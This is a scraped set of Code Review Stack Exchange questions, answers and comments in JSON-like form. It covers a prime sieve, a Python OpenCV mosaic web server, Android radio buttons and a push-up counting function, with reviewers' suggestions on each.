helps!</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T06:36:52.727",
"Id": "431277",
"Score": "2",
"body": "I haven't profiled it, but I would be enormously surprised if set was cheaper than list for Eratosthenes. It's cheaper to check membership (i.e. `in` or similar) but the original code does not use `in` anywhere. Direct access to a known location in a contiguous array is typically about the fastest data structure access available."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T16:09:30.583",
"Id": "431335",
"Score": "2",
"body": "You made a couple of errors. #1) `timeit eratothenese(2000000)` returns the time it takes to create the generator only. You haven't generated any primes at all. If you time over the time it takes to run the generator to completion, sum up the primes, and print the results, I see your implementation running **58% slower**. #2) As for using less space? By the end, the `multiples` set itself takes 67MB, and the contents of the set takes another 52MB, for a total memory usage of 119MB. The OP's solution, the list takes 17MB, the contents 52 bytes for a total of 17MB."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T16:29:21.613",
"Id": "431336",
"Score": "0",
"body": "@AJNeufeld - Oh, I'm sorry I didn't specify in the answer - I actually meant the code is shorter that way. I don't even know how to find the memory usage! And how did you time the code, though? I'm so confused, I never manage to time a program correctly. Please help me out. Downvotes are welcome since I cannot delete my answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T16:39:09.203",
"Id": "431337",
"Score": "1",
"body": "Let's continue this in [chat](https://chat.stackexchange.com/rooms/95275/prime-sum-answer-review)..."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T04:46:02.597",
"Id": "222747",
"ParentId": "222744",
"Score": "1"
}
},
{
"body": "<h2>Organization</h2>\n\n<p>Your function <code>prime_sum()</code> does three things.</p>\n\n<ol>\n<li>It computes primes up to a limit</li>\n<li>It sums up the computed primes</li>\n<li>It prints out the sum.</li>\n</ol>\n\n<p>What are the odds the next Euler problem will use prime numbers? You’re going to have to write and re-write your sieve over and over again if you keep embedding it inside other functions. Pull it out into its own function.</p>\n\n<p>Summing up the list of prime numbers you’ve generated should be a different function. Fortunately, Python comes with this function built-in: <code>sum()</code>.</p>\n\n<p>Will you always print the sum of primes every time you compute it? Maybe you want to test the return value without printing it? Separate computation from printing.</p>\n\n<p>Reorganized code:</p>\n\n<pre><code>def primes_up_to(n):\n # omitted\n\ndef prime_sum(n):\n primes = primes_up_to(n)\n return sum(primes)\n\n if __name__ == '__main__':\n total = prime_sum(2000000)\n print(total)\n</code></pre>\n\n<h2>Bugs</h2>\n\n<p>As you code presently reads, you compute primes up to <code>n</code>, using <code>range(n+1)</code> for the loop. The <code>+1</code> ensures you actually include the value <code>n</code> in the loop.</p>\n\n<p>Then, you sum up all the primes using <code>range(n)</code> ... which means you stop counting just before <code>n</code>. Not a problem if you pass a non-prime number for <code>n</code>, but if you passed in a prime, your code would stop one number too early.</p>\n\n<p>It would be much easier to increase <code>n</code> by 1 at the start, to avoid the need to recompute it all the time, and risk accidentally forgetting a <code>+1</code>.</p>\n\n<h2>Memory usage</h2>\n\n<p>Lists in Python are wonderful, flexible, and memory hungry. A list of 2 million integers could take 16 million bytes of memory, if each element of the list is an 8 byte pointer. Fortunately, the integers <code>0</code> and <code>1</code> are interned, so no additional memory is required for the storage of each value, but if arbitrary integers were stored in the list, each integer can take 24 bytes or more, depending on the magnitude of the integer. With 2 million of them, that’s an additional 48 million bytes of memory.</p>\n\n<p>If you know in advance you are going to be working with 2 million numbers, which will only every be zeros or ones, you should use a <code>bytearray()</code>.</p>\n\n<pre><code>def bytearray_prime_sum(n):\n n += 1\n sieve = bytearray(n) # An array of zero flags\n sieve[0] = 1\n sieve[1] = 1\n # ... etc ...\n</code></pre>\n\n<p>There are a few tricks of speeding up your sieve. Two is the only even prime. You can treat it as a special case, and only test odd numbers, using a loop over <code>range(3, n, 2)</code>. Once you’ve done that, when marking off multiples of a prime, you can loop over <code>range(i*i, n, 2*i)</code>, since the even multiples don’t need to be considered. Finally, when generating the final list of primes (or summing up the primes if you are generating and summing in one step), you can again skip the even candidates, and only consider the odd candidates using <code>range(3, n, 2)</code>. Just remember to include the initial <code>2</code> in some fashion.</p>\n\n<pre><code>def bytearray_prime_sum(n):\n n += 1\n total = 2\n flags = bytearray(n)\n for i in range(3, n, 2):\n if not flags[i]:\n total += i\n for j in range(i*i, n, 2*i):\n flags[j] = 1\n return total\n</code></pre>\n\n<h2>Memory usage: Take 2</h2>\n\n<p>Since we are only storing <code>0</code> and <code>1</code> flags, a <code>bytearray</code> actually uses 8 times more memory than is necessary. We could store the flags in individual bits. First, we'll want to install the <code>bitarray</code> module:</p>\n\n<pre><code>pip3 install bitarray\n</code></pre>\n\n<p>Then, we can reimplement the above using a <code>bitarray</code> instead of a <code>bytearray</code>.</p>\n\n<pre><code>from bitarray import bitarray\n\ndef bitarray_prime_sum(n):\n n += 1\n total = 2\n flags = bitarray(n)\n flags.setall(False)\n for i in range(3, n, 2):\n if not flags[i]:\n total += i\n flags[i*i::2*i] = True\n return total\n</code></pre>\n\n<p>Most notably in this <code>bitarray</code> implementation is the flagging of the multiples of a prime became a single statement: <code>flags[i*i::2*i] = True</code>. This is a slice assignment from a scalar, which is a fun and powerful extra tool the <code>bitarray</code> provides.</p>\n\n<h2>Timings</h2>\n\n<p><a href=\"https://i.stack.imgur.com/h7oZ2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/h7oZ2.png\" alt=\"Timing graphs\"></a></p>\n\n<p>Unfortunately, the above graph shows Justin's implementation has actually slowed down the code over the OP's, due to a mistake Justin made when profiling his \"improvement.\"</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T05:19:03.650",
"Id": "222748",
"ParentId": "222744",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222748",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T04:14:56.987",
"Id": "222744",
"Score": "3",
"Tags": [
"python",
"performance",
"programming-challenge",
"primes",
"sieve-of-eratosthenes"
],
"Title": "Sum of primes up to 2 million using the Sieve of Eratosthenes"
} | 222744 |
<p>This post is a continuation of post here: <a href="https://codereview.stackexchange.com/questions/221583/create-mosaic-task">Create mosaic task</a>.</p>
<ul>
<li>I improved code readability, hopefully it'll be reviewable now. Once again, I'm asking for tips to write better code.</li>
</ul>
<blockquote>
<p>Task: The point of this task is to create a service, which will
generate a mosaic for given images downloaded from provided URLs.</p>
</blockquote>
<ul>
<li>mosaic.py takes a list of images in cv2 format (for example jpg) and creates a mosaic from them. server.py allows to run a server on your computer from command line, so by entering localhost:8080 in your web browser you can provide a link with urls. The server downloads all images and passes it to the mosaic function, so the mosaic is displayed in the web browser.</li>
</ul>
<p>Example with 3 images: When this URL is provided, one of possible outcomes: <a href="http://localhost:8080/mozaika?losowo=1&rozdzielczosc=512x512&zdjecia=https://www.humanesociety.org/sites/default/files/styles/768x326/public/2018/08/kitten-440379.jpg?h=f6a7b1af&itok=vU0J0uZR,https://cdn.britannica.com/67/197567-131-1645A26E.jpg,https://images.unsplash.com/photo-1518791841217-8f162f1e1131?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&w=1000&q=80" rel="nofollow noreferrer">http://localhost:8080/mozaika?losowo=1&rozdzielczosc=512x512&zdjecia=https://www.humanesociety.org/sites/default/files/styles/768x326/public/2018/08/kitten-440379.jpg?h=f6a7b1af&itok=vU0J0uZR,https://cdn.britannica.com/67/197567-131-1645A26E.jpg,https://images.unsplash.com/photo-1518791841217-8f162f1e1131?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&w=1000&q=80</a>
<a href="https://i.stack.imgur.com/uwqvB.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uwqvB.jpg" alt="enter image description here"></a></p>
<p>To run:</p>
<ul>
<li>Required libraries: http.server, numpy, opencv-python</li>
<li>Github: <a href="https://github.com/Krzysztof-Wojtczak/Allegro-Task" rel="nofollow noreferrer">https://github.com/Krzysztof-Wojtczak/Allegro-Task</a></li>
<li>Run server.py</li>
<li><p>In your browser type: <a href="http://localhost:8080/mozaika?losowo=Z&rozdzielczosc=XxY&zdjecia=URL1,URL2,URL3" rel="nofollow noreferrer">http://localhost:8080/mozaika?losowo=Z&rozdzielczosc=XxY&zdjecia=URL1,URL2,URL3</a>...</p>
<p>where: <code>losowo</code> - optional parameter, if Z = 1 images places are random.
<code>rozdzielczosc</code> - optional parameter, defines width and height. Default is 2048x2048
<code>URL1,URL2,URL3...</code> image addresses, 1 to 9.(or copy the link above).</p></li>
</ul>
<p>mozaika.py:</p>
<pre><code>import cv2
import numpy as np
import random
from functools import reduce
class Image:
def __init__(self, image):
self._image = image
self.height, self.width = image.shape[:2]
@property
def ratio(self):
return max(self.height, self.width) / min(self.height, self.width)
def square(self):
if self.height > self.width:
cut = int((self.height - self.width) / 2)
return Image(self._image[cut : -cut, :self.width])
else:
cut = int((self.width - self.height) / 2)
return Image(self._image[:self.height, cut : -cut])
def make_rectangle1x2(self, vertical=True): #check later if it works for images with high ratio ver/hor
ratio = self.ratio
if vertical:
if ratio < 2:
cut = int((self.width - ratio * self.width / 2) / 2)
return Image(self._image[: self.height, cut : -cut])
elif ratio > 2:
cut = int((self.width - 2 * self.width / ratio) / 2)
return Image(self._image[cut : -cut, : self.width])
return self
else:
if ratio < 2:
cut = int((self.height - ratio * self.height / 2) / 2)
return Image(self._image[cut : -cut, : self.width])
elif ratio > 2:
if self.width > self.height:
cut = int((self.height - 2 * self.height / ratio) / 2)
return Image(self._image[: self.height, cut : -cut])
return self
def resize(self, dimensions, final=False):
if final: # returns numpy array
return cv2.resize(self._image, dimensions)
else: # returns Image class object
return Image(cv2.resize(self._image, dimensions))
def split(self, vertical=True):
if vertical:
return Image(self._image[: int(self.height/2), :]), Image(self._image[int(self.height/2) : self.height, :])
else:
return Image(self._image[: , : int(self.width/2)]), Image(self._image[: , int(self.width/2) : self.width])
def merge(self, other, horizontally=True):
axis = 0 if horizontally else 1
return Image(np.concatenate([self._image, other._image], axis=axis))
class Mozaika:
def __init__(self, image_list, losowo=1, w=2048, h=2048):
self.losowo = losowo # defines whether image position is random
self.w = int(w) # width of output image
self.h = int(h) # height of output image
self.output_image = 0
self.images = [Image(i) for i in image_list]
if self.losowo == 1:
random.shuffle(self.images)
self.how_many_images()
@property
def big_image(self):
return int(self.w*2/3), int(self.h*2/3)
@property
def medium_image(self):
return int(self.w/2), int(self.h/2)
@property
def small_image(self):
return int(self.w/3), int(self.h/3)
def big_rectangle_image(self, vertical=True):
if vertical:
return int(self.w/2), self.h
else:
return self.w, int(self.h/2)
def small_rectangle_image(self, vertical=True):
if vertical:
return int(self.w/3), int(self.h*2/3)
else:
return int(self.w*2/3), int(self.h/3)
def how_many_images(self):
number_of_images = len(self.images) # checks how many images is given
if number_of_images == 1:
self.output_image = self.images[0].square().resize(dimensions=(self.w, self.h), final=True)
elif 2 <= number_of_images <= 4:
self.output_image = self.merge2x2().resize(dimensions=(self.w, self.h), final=True)
elif number_of_images > 4:
self.output_image = self.merge3x3().resize(dimensions=(self.w, self.h), final=True)
def merge2x2(self):
placement = self.put_image2x2()
row1 = placement[0].merge(placement[1], horizontally=False)
row2 = placement[2].merge(placement[3], horizontally=False)
return row1.merge(row2, horizontally=True)
def merge3x3(self):
placement = self.put_image3x3()
row1 = reduce(lambda x, y: x.merge(y, horizontally=False), placement[:3])
row2 = reduce(lambda x, y: x.merge(y, horizontally=False), placement[3:6])
row3 = reduce(lambda x, y: x.merge(y, horizontally=False), placement[6:9])
rows = row1.merge(row2, horizontally=True)
rows = rows.merge(row3, horizontally=True)
return rows
def put_image2x2(self):
placement = [0]*4 # four possible image positions
# 2 images
if len(self.images) == 2:
image1, vertical, num = self.find_rectangle_image() # finds image with greatest ratio and shapes it 1x2
# vertical is boolean value, num is an index of image with highest ratio
image2 = [e for e in self.images if self.images.index(e) != num][0]
image2 = image2.make_rectangle1x2(vertical=vertical) # shaping second image
image1 = image1.resize(self.big_rectangle_image(vertical=vertical))
image2 = image2.resize(self.big_rectangle_image(vertical=vertical))
if self.losowo == 1: # find_rectangle fixes image position, it shuffles them again
shuffle = random.randrange(0,2)
if shuffle:
image1, image2 = image2, image1
if vertical:
placement[0], placement[2] = image1.split(vertical=True)
placement[1], placement[3] = image2.split(vertical=True)
else:
placement[0], placement[1] = image1.split(vertical=False)
placement[2], placement[3] = image2.split(vertical=False)
# 3 images
elif len(self.images) == 3:
rect_image, vertical, num = self.find_rectangle_image() # finds image with greatest ratio and shapes it 1x2
other_images = [e for e in self.images if self.images.index(e) != num]
rect_image = rect_image.resize(self.big_rectangle_image(vertical=vertical))
all_positions = [e for e in range(4)]
if vertical:
if self.losowo == 1:
position = random.randrange(0,2) # choose random position for image
else:
position = 0
all_positions.remove(position) # rectangle image takes 2 places
all_positions.remove(position + 2)
placement[position], placement[position + 2] = rect_image.split(vertical=True)
else:
if self.losowo == 1:
position = random.randrange(0, 3, 2)
else:
position = 0
all_positions.remove(position)
all_positions.remove(position + 1)
placement[position], placement[position + 1] = rect_image.split(vertical=False)
var = 0
for i in all_positions:
placement[i] = other_images[var].square().resize(self.medium_image)
var += 1
# 4 images
elif len(self.images) == 4:
placement = [e.square().resize(self.medium_image) for e in self.images]
return placement
def put_image3x3(self):
placement = [0]*9
img2x = [] # list of rectangle images
img4x = [] # list of big square images 2x2
num_img = len(self.images)
while num_img < 9:
if 9 - num_img < 3: # big image can't fit, increase number of images by making rectangles
rect_image, vertical, num = self.find_rectangle_image() # finds most rectangle image and shapes it
img2x.append([rect_image, vertical])
del self.images[num]
num_img += 1
else:
square_img = min(enumerate(self.images), key=lambda i: abs(i[1].ratio) - 1) # get image with 1:1 ratio
img4x.append(square_img[1].square())
del self.images[square_img[0]]
num_img += 3
all_positions = [e for e in range(9)]
for img in img4x:
img = img.resize(self.big_image)
hor_img1, hor_img2 = img.split(vertical=False) # making 2 rectanles and then 4 small squares
img1, img2 = hor_img1.split(vertical=True)
img3, img4 = hor_img2.split(vertical=True)
all_positions, position = self.find_big_position(avaiable_pos=all_positions)
placement[position] = img1.resize(self.small_image)
placement[position + 1] = img3.resize(self.small_image)
placement[position + 3] = img2.resize(self.small_image)
placement[position + 4] = img4.resize(self.small_image)
for img in img2x: # takes rectangles and tries to fit them
rect_image, vertical = img
if vertical:
rect_image = rect_image.resize(self.small_rectangle_image(vertical=True))
img1, img2 = rect_image.split(vertical=True)
all_positions, position = self.find_vertical_position(avaiable_pos=all_positions) # checks for vertical possibilities
placement[position] = img1.resize(self.small_image)
placement[position + 3] = img2.resize(self.small_image)
else:
rect_image = rect_image.resize(self.small_rectangle_image(vertical=False))
img1, img2 = rect_image.split(vertical=False)
all_positions, position = self.find_horizontal_position(avaiable_pos=all_positions) # checks for horizontal possibilities
placement[position] = img1.resize(self.small_image)
placement[position + 1] = img2.resize(self.small_image)
num = 0
for i in all_positions: # after puting bigger image fill other places with smaller images
placement[i] = self.images[num].square().resize(self.small_image)
num += 1
return placement
def find_rectangle_image(self):
enum_largest = max(enumerate(self.images), key=lambda i: i[1].ratio)
largest = enum_largest[1]
maxratio = largest.ratio
if largest.width > largest.height:
return largest.make_rectangle1x2(vertical=False), False, enum_largest[0]
else:
return largest.make_rectangle1x2(vertical=True), True, enum_largest[0]
def find_big_position(self, avaiable_pos):
# find position for 2/3 width/height image
myList = avaiable_pos
mylistshifted=[x-1 for x in myList]
possible_position = [0,1,3,4] # only possible possisions for big image
intersection_set = list(set(myList) & set(mylistshifted) & set(possible_position))
if self.losowo == 1:
position = random.choice(intersection_set)
else:
position = intersection_set[0]
myList = [e for e in myList if e not in (position, position + 1, position + 3, position + 4)]
return myList, position
def find_vertical_position(self, avaiable_pos):
# find position vertical rectangle image
myList = avaiable_pos
mylistshifted=[x-3 for x in myList]
possible_position = [e for e in range(6)] # positions where image is not cut in half
intersection_set = list(set(myList) & set(mylistshifted) & set(possible_position))
if self.losowo == 1:
position = random.choice(intersection_set)
else:
position = intersection_set[0]
myList.remove(position) # removes places from other_position, so no other image can take these places
myList.remove(position + 3)
return myList, position
def find_horizontal_position(self, avaiable_pos):
# find position for horizontal rectangle image
myList = avaiable_pos
mylistshifted=[x-1 for x in myList]
possible_position = [0,1,3,4,6,7] # positions where image is not cut in half
intersection_set = list(set(myList) & set(mylistshifted) & set(possible_position))
if self.losowo == 1:
position = random.choice(intersection_set)
else:
position = intersection_set[0]
myList.remove(position) # removes places from other_position, so no other image can take these places
myList.remove(position + 1)
return myList, position
if __name__ == "__main__": # check if it's working with local files
image_names = ["img5.jpg", "img7.jpg"] # enter image names here
image_list = [cv2.imread(e) for e in image_names]
mozaika = Mozaika(image_list)
cv2.imshow("i", mozaika.output_image)
cv2.waitKey(0)
</code></pre>
<p>server.py</p>
<pre><code>from http.server import HTTPServer, BaseHTTPRequestHandler
import re
from urllib.request import urlopen
import cv2
import numpy as np
from mozaika import Mozaika
class Serv(BaseHTTPRequestHandler):
def do_GET(self):
w = 2048 # default width
h = 2048 # default height
losowo = 1 # random image placement = true
urls = [] # images URLs
if self.path.startswith("/mozaika?"): # keyword for getting mosaic, URL should be put in format:
parameters = self.path.split("&") # http://localhost:8080/mozaika?losowo=Z&rozdzielczosc=XxY&zdjecia=URL1,URL2,URL3..
for par in parameters:
if par.find("losowo") == -1:
pass
else:
losowo_index = par.find("losowo")
try:
losowo = int(par[losowo_index + 7])
except:
pass
if par.find("rozdzielczosc") == -1:
pass
else:
try:
w, h = re.findall('\d+', par)
except:
pass
if par.find("zdjecia=") == -1:
pass
else:
urls = self.path[self.path.find("zdjecia=") + 8 :]
urls = urls.split(",")
try:
image_list = create_images_list(urls)
# call mosaic creator
# 1 required attribute: list of images in cv2 format,
# 3 optional attributes: random image positioning, width of output image, height of output image
mozaika = Mozaika(image_list, losowo, w, h)
img = mozaika.output_image # store output image
f = cv2.imencode('.jpg', img)[1].tostring() # encode to binary format
self.send_response(200)
self.send_header('Content-type', 'image/jpg')
except:
self.send_response(404)
self.end_headers()
self.wfile.write(f) # send output image
#return
def url_to_image(url):
# gets image from URL and converts it to cv2 color image format
resp = urlopen(url)
image = np.asarray(bytearray(resp.read()), dtype="uint8")
image = cv2.imdecode(image, cv2.IMREAD_COLOR)
return image
def create_images_list(urls):
# takes URLs list and creates list of images
image_list = []
for url in urls:
image = url_to_image(url)
if image is not None:
image_list.append(image)
return image_list
httpd = HTTPServer(("localhost", 8080), Serv)
httpd.serve_forever()
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T08:12:45.940",
"Id": "431279",
"Score": "0",
"body": "Wouldn't it be easier to give those two variables a descriptive English name instead of describing them in great detail in the question?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T13:24:10.770",
"Id": "431315",
"Score": "0",
"body": "No. As you can see server.py has to accept polish words. Here is the question too, if I should change variable name as fast as possible or be consistent with names."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T09:10:26.740",
"Id": "432067",
"Score": "0",
"body": "Wow, I'm slacking. I only just saw this question! It looks like you've followed the points I outlined in my previous question pretty well, good job!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-30T18:57:33.657",
"Id": "432552",
"Score": "0",
"body": "Thank you :) I need to update the code so it can fit in 80 char/line, but I'm not sure if I can do this without losing some clarity. Or maybe I shoudn't care and just try to fit in in 100 lines? Any other sugestion?"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T06:06:30.767",
"Id": "222749",
"Score": "2",
"Tags": [
"python",
"python-3.x",
"image",
"opencv"
],
"Title": "Create mosaic task #2"
} | 222749 |
<p>I want to display multiple radio buttons in a layout with multiline style as an item inside a <code>RecyclerView</code>. Look at the code I provided below and suggest how I can refactor the code to be more efficient or optimized:</p>
<p>Layout in XML:</p>
<pre><code><RadioButton
android:id="@+id/rb_rad1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="@dimen/dp_10"
android:checked="true"
android:text="@string/text1"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintTop_toBottomOf="@+id/xyz" />
<RadioButton
android:id="@+id/rb_rad2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginLeft="@dimen/dp_34"
android:checked="false"
android:text="@string/text2"
app:layout_constraintBaseline_toBaselineOf="@+id/rb_rad1"
app:layout_constraintLeft_toRightOf="@+id/rb_rad1" />
<RadioButton
android:id="@+id/rb_rad3"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:checked="false"
android:text="@string/text3"
app:layout_constraintLeft_toLeftOf="@+id/rb_rad1"
app:layout_constraintTop_toBottomOf="@+id/rb_rad1" />
<RadioButton
android:id="@+id/rb_rad4"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:checked="false"
android:text="@string/text4"
app:layout_constraintLeft_toLeftOf="@+id/rb_rad2"
app:layout_constraintTop_toBottomOf="@+id/rb_rad2" />
</code></pre>
<p>Inside the <code>onBindViewHolder()</code> method:</p>
<pre><code>holder.binding.rbRad1.setOnClickListener(object : View.OnClickListener {
override fun onClick(view: View?) {
holder.binding.rbRad2.isChecked = false
holder.binding.rbRad4.isChecked = false
holder.binding.rbRad3.isChecked = false
notifyDataSetChanged()
}
})
holder.binding.rbRad3.setOnClickListener(object : View.OnClickListener {
override fun onClick(view: View?) {
holder.binding.rbRad2.isChecked = false
holder.binding.rbRad4.isChecked = false
holder.binding.rbRad1.isChecked = false
notifyDataSetChanged()
}
})
holder.binding.rbRad2.setOnClickListener(object : View.OnClickListener {
override fun onClick(view: View?) {
holder.binding.rbRad3.isChecked = false
holder.binding.rbRad4.isChecked = false
holder.binding.rbRad1.isChecked = false
notifyDataSetChanged()
}
})
holder.binding.rbRad4.setOnClickListener(object : View.OnClickListener {
override fun onClick(view: View?) {
holder.binding.rbRad2.isChecked = false
holder.binding.rbRad3.isChecked = false
holder.binding.rbRad1.isChecked = false
notifyDataSetChanged()
}
})
</code></pre>
| [] | [
{
"body": "<p>In your layout XML file, keep the <code>checked</code> value of all <code>RadioButton</code> to <code>false</code>.</p>\n\n<pre><code><RadioButton\n android:id=\"@+id/rb_rad1\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:layout_marginTop=\"@dimen/dp_10\"\n android:checked=\"false\"\n android:text=\"@string/text1\"\n app:layout_constraintLeft_toLeftOf=\"parent\"\n app:layout_constraintTop_toBottomOf=\"@+id/xyz\" />\n...\n</code></pre>\n\n<p>Inside onBindViewHolder() method, pass the clicked <code>RadioButton</code> to another method <code>customRadioButtonOnClick</code> where you'll check what value the passed <code>RadioButton</code> holds and based on that, set the <code>checked</code> values of that one or the other buttons to <code>true</code> or <code>false</code> as per your logic like this:</p>\n\n<pre><code> rb_rad1.setOnClickListener {\n customRadioButtonOnClick(rb_rad1)\n }\n rb_rad2.setOnClickListener {\n customRadioButtonOnClick(rb_rad2)\n }\n rb_rad3.setOnClickListener {\n customRadioButtonOnClick(rb_rad3)\n }\n rb_rad4.setOnClickListener {\n customRadioButtonOnClick(rb_rad4)\n }\n</code></pre>\n\n<p><code>customRadioButtonOnClick</code></p>\n\n<pre><code>private fun customRadioButtonOnClick(radioButton: RadioButton) {\n when (radioButton) {\n rb_rad1 -> rb_rad1.isChecked = true\n rb_rad2 -> rb_rad2.isChecked = true\n rb_rad3 -> rb_rad3.isChecked = true\n rb_rad4 -> rb_rad4.isChecked = true\n }\n} \n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T10:12:20.420",
"Id": "222859",
"ParentId": "222751",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222859",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T07:05:28.300",
"Id": "222751",
"Score": "1",
"Tags": [
"performance",
"android",
"xml",
"user-interface",
"layout"
],
"Title": "Grid of radio buttons in Android"
} | 222751 |
<p>I wanted to create a function describing a sport game called "Leader". The idea is that you make as many push-ups as you can, increasing each repetition by 1 and as you reach your maximum, each next repetition is decreased by 1 until you reach 0 push-ups eventually.</p>
<p>I managed to do this using dictionaries, but I think this could be done in much easier way.</p>
<pre><code>from typing import List, Tuple
def leader_step(max_pushups, step): # maximum pushups a person can do and a step of increment
i = 0 # count of the repetitions
pushups: List[Tuple[int, int]] = [(0, 0)] # number of pushups at the beginning (at each repetition, it total)
while pushups[i][0] <= max_pushups + abs(step): # +abs(step) in case step > 1
if pushups[i][0] >= max_pushups: # decrease push-ups as they reach max
step = -step
i += 1
now = step + pushups[i - 1][0]
sum = now + pushups[i - 1][1] # counting the sum of all push-ups by adding previous sum and current pushups
pushups.insert(i, (now, sum))
if pushups[i][0] < 1: # game stops when you reach 0 push-up
break
return pushups[1:-1]
</code></pre>
<p>Function should return 2 sequences: <br></p>
<ol>
<li>showing the number of push-ups at each repetition <br></li>
<li>showing total sum of push-ups made at each repetition</li>
</ol>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T08:51:22.520",
"Id": "431285",
"Score": "0",
"body": "I think you should have *more* descriptive variable names."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T14:03:36.443",
"Id": "431318",
"Score": "1",
"body": "Please don't change the question in a way that would invalidate an answer: https://codereview.stackexchange.com/help/editing"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T14:07:11.750",
"Id": "431319",
"Score": "1",
"body": "Welcome to Code Review! Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*."
}
] | [
{
"body": "<p>Line by line:</p>\n\n<pre><code>def leader_step(max):\n</code></pre>\n\n<ul>\n<li>Type hints (verified using a strict <code>mypy</code> configuration) would be really helpful to understand what this method actually does.</li>\n<li>Since the application is called \"Leader\" that part of the function name is redundant - <code>step</code> should be enough to understand it in the application context.</li>\n</ul>\n\n<hr>\n\n<pre><code>i = 0\n</code></pre>\n\n<ul>\n<li>Usually, <code>i</code> is an index of some sort. But index into what? Is it counting towards <code>max</code>? Basically, I shouldn't have to read the entire function to understand what this variable is used for.</li>\n</ul>\n\n<hr>\n\n<pre><code>psps = {0: 0}\n</code></pre>\n\n<ul>\n<li>Should this be <code>pushups</code>?</li>\n<li>I read this as \"a pushup with some property (key) \"0\" has some value \"0\". This doesn't tell me much. Is this how many pushups I have performed in each set? Something else entirely?</li>\n</ul>\n\n<hr>\n\n<pre><code>cnt = {0: 0}\n</code></pre>\n\n<ul>\n<li>Should this be <code>count</code>? <code>counts</code>? Something else?</li>\n<li>Is it incidental that this has the same value as <code>psps</code>? Or are these data structures related in some way?</li>\n</ul>\n\n<hr>\n\n<pre><code>k = 1\n</code></pre>\n\n<ul>\n<li>After going through this and re-reading it, this variable is telling us whether we're incrementing or decrementing another number. You can instead use <code>+= 1</code> and <code>-= 1</code> and remove this variable.</li>\n</ul>\n\n<hr>\n\n<pre><code>while max + abs(k) >= psps[i]:\n</code></pre>\n\n<ul>\n<li>This is checking whether we've reached <code>max</code>, but you should be able to refactor this to something like <code>while pushups <= max_pushups</code>.</li>\n</ul>\n\n<hr>\n\n<pre><code>if psps[i] >= max: # decrease push-ups as they reach max\n k = -k\n</code></pre>\n\n<ul>\n<li>That's not what this does. You are <em>negating</em> <code>k</code> here, <strike>for still unknown reasons.</strike> which will later result in decreasing another counter.</li>\n</ul>\n\n<hr>\n\n<pre><code>i += 1\n</code></pre>\n\n<ul>\n<li>Why is this incremented here? Especially when you refer to the old value (<code>i - 1</code>) <em>twice</em> below.</li>\n</ul>\n\n<hr>\n\n<pre><code>psps[i] = k + psps[i-1]\n</code></pre>\n\n<ul>\n<li>OK, so you're setting the \"current\" pushups \"key\" adding or subtracting <code>k</code> (still unknown) to/from the previous pushups value. At this point it very much looks like <code>psps</code> should be a <code>list</code> rather than a dictionary, since you keep incrementing the index and setting that.</li>\n</ul>\n\n<hr>\n\n<pre><code>if psps[i] < 1: # game stops when you reach 1 push-up\n</code></pre>\n\n<ul>\n<li>This is <code>True</code> when you've reached <em>zero,</em> not one. Is that a bug or an error in the comment?</li>\n</ul>\n\n<hr>\n\n<pre><code>del psps[i]\nbreak\n</code></pre>\n\n<ul>\n<li>Rather than having to insert and then delete this index, I would refactor so that you <code>break</code> <em>before</em> inserting.</li>\n</ul>\n\n<hr>\n\n<pre><code>cnt[i] = cnt[i - 1] + psps[i] # counting the sum of all push-ups\n</code></pre>\n\n<ul>\n<li>Do you need all the intermediary values?</li>\n</ul>\n\n<hr>\n\n<pre><code>del psps[0]\ndel cnt[0]\n</code></pre>\n\n<ul>\n<li>So you don't actually want the initial values. If these were lists you could just use a slice like <code>psps[1:]</code> to get everything but the first element.</li>\n</ul>\n\n<hr>\n\n<pre><code>return psps.values(), cnt.values()\n</code></pre>\n\n<ul>\n<li>This reaffirms that both values should be lists, because the keys are thrown away at the end.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T14:07:27.943",
"Id": "431320",
"Score": "0",
"body": "I`ve remade it with lists, but i still cant get, how to edit the whole (i - 1) thing. Is it more edible now?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
